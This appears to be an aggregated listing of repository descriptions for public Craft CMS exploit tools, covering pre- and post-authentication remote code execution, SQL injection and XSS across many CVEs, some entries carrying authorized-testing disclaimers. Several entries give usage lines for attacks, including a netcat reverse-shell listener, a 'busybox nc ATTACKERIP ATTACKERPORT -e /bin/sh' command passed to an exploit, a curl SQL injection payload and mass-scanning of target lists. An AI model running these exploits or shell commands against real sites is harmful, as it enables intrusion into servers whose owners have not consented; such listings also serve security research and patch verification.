CVE-2025-32432

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit for unauthenticated remote code execution in Craft CMS, written in Go. Inspired by the original work of c0gnit00. How it works 1. Gets the PHP session and CSRF token via GET /admin/login 2. Poisons the PHP session file by injecting PHP code into the...

CVE-2024-56145-craftcms-rce

再次运行脚本前，请执行 fuser -k 6666/tcp 使用方法 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 也可使用自定义命令，例如 python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i 是你的 IP 或 VPS IP（通过 ipconfig / ifconfig 获取）。 例如 - python3 poc.py -f targets.txt -i 165.22.104.140 -pr 4 -t 200 手动利用，对你拥有的目标运行上述...

Craft-CMS-Exploit

此 Python 脚本利用了 Craft CMS（一款流行的内容管理系统）的远程代码执行漏洞（CVE-2023-41892）。受影响版本为 4.0.0-RC1 至 4.4.14，允许攻击者远程执行任意代码，例如 PHP 反向 Shell。 使用方法 首先在另一个 shell 中启动 netcat 监听器： nc -nlvp 1234 然后检查您的 IP 地址并运行漏洞利用程序： python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb 祝您使用全新的反向 Shell 愉快地进行渗透！ 免责声明...

CVE-2024-37843-POC

CVE-2024-37843-POC CVE-2024-37843 的 POC。Craft CMS 基于时间盲注 SQL 注入 详情见博客 POC curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \\ \n \n LIMIT 5 AS subquery\nINNER JOIN assets assets ON assets.id =...

CVE-2025-32432

CVE-2025-32432 - Craft CMS 未认证 RCE PoC 针对 CVE-2025-32432 的可用概念验证 PoC，这是一个影响 Craft CMS 版本直至并包含 5.6.16 的未认证远程代码执行漏洞（在等效代码路径上也影响 4.x 和 3.x 分支）。 搜索关键词：CVE-2025-32432、Craft CMS RCE、Craft 5.6.16 exploit、 Yii2 PhpManager gadget、craftcms generate-transform、Component::set as behavior、 nginx log poisoning...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 单目标 PoC 仅限授权测试。 本仓库仅用于受控实验室环境、CTF 平台（如 Hack The Box）、内部验证和防御性核查。请勿针对您不拥有或未获得明确许可的系统运行此工具。 概述 本项目包含针对 CVE-2025-32432 的单目标概念验证（PoC），该漏洞是 Craft CMS 的一个预认证远程代码执行问题。 该 PoC 分两个阶段执行： 1. 漏洞确认 ：通过 Craft CMS 的资产变换生成端点使用 phpinfo gadget。 2. 可选命令执行 ：使用两步会话文件包含链。 该脚本旨在避免一些公开 PoC...

CVE-2025-32432-PoC

CVE-2025-32432：日志投毒到 RCE 的漏洞利用工具 描述 该仓库包含一个用 Go 编写的专业概念验证（PoC）漏洞利用程序，旨在演示 Craft CMS 中的一条关键漏洞链。该利用程序借助一个日志投毒漏洞实现本地文件包含（LFI），最终通过反弹 Shell 达成远程代码执行（RCE）。 技术解析 该利用程序遵循多阶段执行链： 1. 日志投毒 该工具首先向目标发送一个未经验证的 GET 请求。通过操纵 a 参数并通过 Cookie 提供自定义的 CraftSessionId，攻击者可以强制应用程序将 PHP 载荷写入位于...

CVE-2026-28695

CVE-2026-28695 补丁绕过 - Craft CMS 盲远程代码执行 Craft CMS 中的认证后盲远程代码执行。绕过了 CVE-2026-28695 修复（提交 e31e508）中添加的 create - BaseObject 限制。 用法 python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP ATTACKERPORT -e /bin/sh' 免责声明...

CVE-2026-28695-craft-rce-bypass

CVE-2026-28695 补丁绕过 — Craft CMS ≤ 5.9.8 认证后 RCE（element-search） CVSS 3.x : 8.8 HIGH （约值 — 请核实） CWE : CWE-502（不安全对象实例化）+ CWE-1336（SSTI 来源） Base : CVE-2026-28695 （通过 create + Symfony Process 的 SSTI） Fix : 公告修复 e31e508（将 create 限制为 BaseObject）— 此处被绕过 Affects : 已应用 CVE-2026-28695 修复的 Craft CMS ≤ 5.9....

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - 跨站脚本（Cross-Site-Scripting） Craft CMS 3.0.25 - 跨站脚本漏洞 CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 概念验证 通过从控制台标签页保存新标题，即可执行跨站脚本（XSS）攻击。 POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1 Host: IP:PORT User-Agent: Mozilla/5.0 Windows NT 6.1;...

CVE-2023-41892

CVE-2023-41892 - Craft CMS Ejecución Remota de Código RCE referencias: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...

craftcms-vcard-exploit

Craft CMS vCard 插件反序列化漏洞 Craft CMS 有一个使用 .vcf 文件格式下载联系人的插件，名为 "vCard"。该插件可以在 Craft 的仓库和 Github 上查看： Craft Plugin Store Github 描述 该插件接收客户端发送的一个参数，用 openssldecrypt 解密该值，然后将得到的字符串放入 PHP 的 unserialize 函数。由于加密的默认 salt 在仓库中可见，攻击者可以使用相同的逻辑来加密恶意序列化载荷。 如果用户在插件设置中配置了修改过的 "salt" 值，则需要将其作为参数提供给 Python...

CVE-2026-31857

CVE-2026-31857 - Exploit de RCE en Craft CMS Exploit en Python para una vulnerabilidad de RCE en el panel de administración de Craft CMS, activada a través del endpoint admin/actions/element-indexes/count-elements. La inyección se realiza a través del campo elementIds de una condición...

CVE-2026-31857

CVE-2026-31857：Craft CMS 控制面板 RCE CVE-2026-31857 是 Craft CMS 关系条件规则中的一个远程代码执行漏洞。BaseElementSelectConditionRule::getElementIds 将用户可控的输入渲染为未沙箱化的 Twig 模板。已通过身份验证的控制面板用户可以通过元素列表端点提交精心构造的条件，从而在服务器上执行命令。无需管理员权限。 Craft CMS 4.0.0-beta.1 至 4.17.3 以及 5.0.0-RC1 至 5.9.8 均受影响。本 PoC 使用 Craft 5 的元素索引请求格式。 使用方法 ...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 预认证 RCE Craft CMS 中的预认证远程代码执行 发现与开发 byMohammed Idrees Banyamer 📌 概述 CVE-2025-32432 是一个严重的预认证远程代码执行（RCE）漏洞，影响 Craft CMS 的多个版本。通过将未清理的会话数据存储与不安全的反序列化小工具链接起来，未经身份验证的攻击者可以在远程服务器上执行任意命令。 🎯 受影响版本 分支| 受影响范围 ---|--- Craft CMS 3.x| ≤ 3.9.14 Craft CMS 4.x| ≤ 4.14.14 Craft CMS...

CVE-2025-32432-exploit-by-P34NUT

CVE-2025-32432 — Craft CMS 预认证 RCE 漏洞利用 作者： P34NUT2 漏洞： Craft CMS 中的远程代码执行（预认证） CVE： CVE-2025-32432 目标： 任何存在漏洞的 Craft CMS 实例（3.x / 4.x / 5.x）— 已在 Hack The Box: Orion 上测试 ⚠️ 免责声明 本工具严格仅供教育目的和授权渗透测试 使用，适用于受控环境，例如 Hack The Box、TryHackMe 或您拥有或已获得明确书面许可进行测试的私人实验环境。 未经授权对您不拥有或未获得明确测试许可的系统使用本工具是非法的...

CVE-2026-44011-craftcms-auth-rce

CVE-2026-44011 Craft CMS 认证后 RCE PoC 仅限授权测试使用。 Craft CMS 安全公告 列出受影响版本为 =4.0.0, =5.0.0, ' -c '' 必需参数： -b, --base-url：Craft URL，包含 http:// 或 https://。 -u, --username：控制面板用户名。 -p, --password：控制面板密码。 -c, --command：要执行并捕获输出的命令。 可选参数： -P, --cp-path：控制面板路径（默认：/admin）。 -s, --site-id：站点 ID（默认：1）。 -e,...

CVE-2026-44011-poc

CVE-2026-44011 Craft CMS 中通过 Yii 行为注入实现的已认证 RCE。 受影响版本： 4.0.0–4.17.11, 5.0.0–5.9.17 修复版本： 4.17.12, 5.9.18 安全公告： GHSA-qrgm-p9w5-rrfw 漏洞 /admin/actions/element-search/search 端点接受一个 condition 参数，该参数会被直接传入 ElementCondition::createCondition，而不会先调用 Component::cleanseConfig。这意味着当 FieldLayout...

CVE-2026-44011-poc

CVE-2026-44011：Craft CMS 认证后 RCE PoC 该 Python 脚本改编自 Craft CMS 安全公告 中描述的利用方式。已认证的 Craft 用户可访问存在漏洞的字段布局配置路径，并导致服务器执行命令。 适用范围与要求 受影响的版本为 Craft CMS =4.0.0, =5.0.0, 5.9.18。 该脚本要求两台主机上都安装有 curl。它在服务器上使用 Bash。服务器上的 Python3 还可提供交互式 PTY；若没有 Python3，shell 将回退为基本连接。 用法 Confirm the host is vulnerable python3...

CVE-2023-41892_PoC

CraftCMS 未授权远程代码执行漏洞（CVE-2023-41892） Craft CMS 是一个灵活、用户友好的内容管理系统，用于在 Web 上创建自定义的数字体验。它为用户提供了一个后端界面来实现网站并配置 CMS。 Craft CMS 4.4.0 至 4.4.14 版本中存在一个远程代码执行漏洞。未经身份验证的攻击者可以通过 ConditionsController 实现远程代码执行。该漏洞存在于控制器的 beforeAction 方法中，由于输入验证不足，攻击者可以利用该漏洞创建任意对象并实现代码执行。 参考链接：...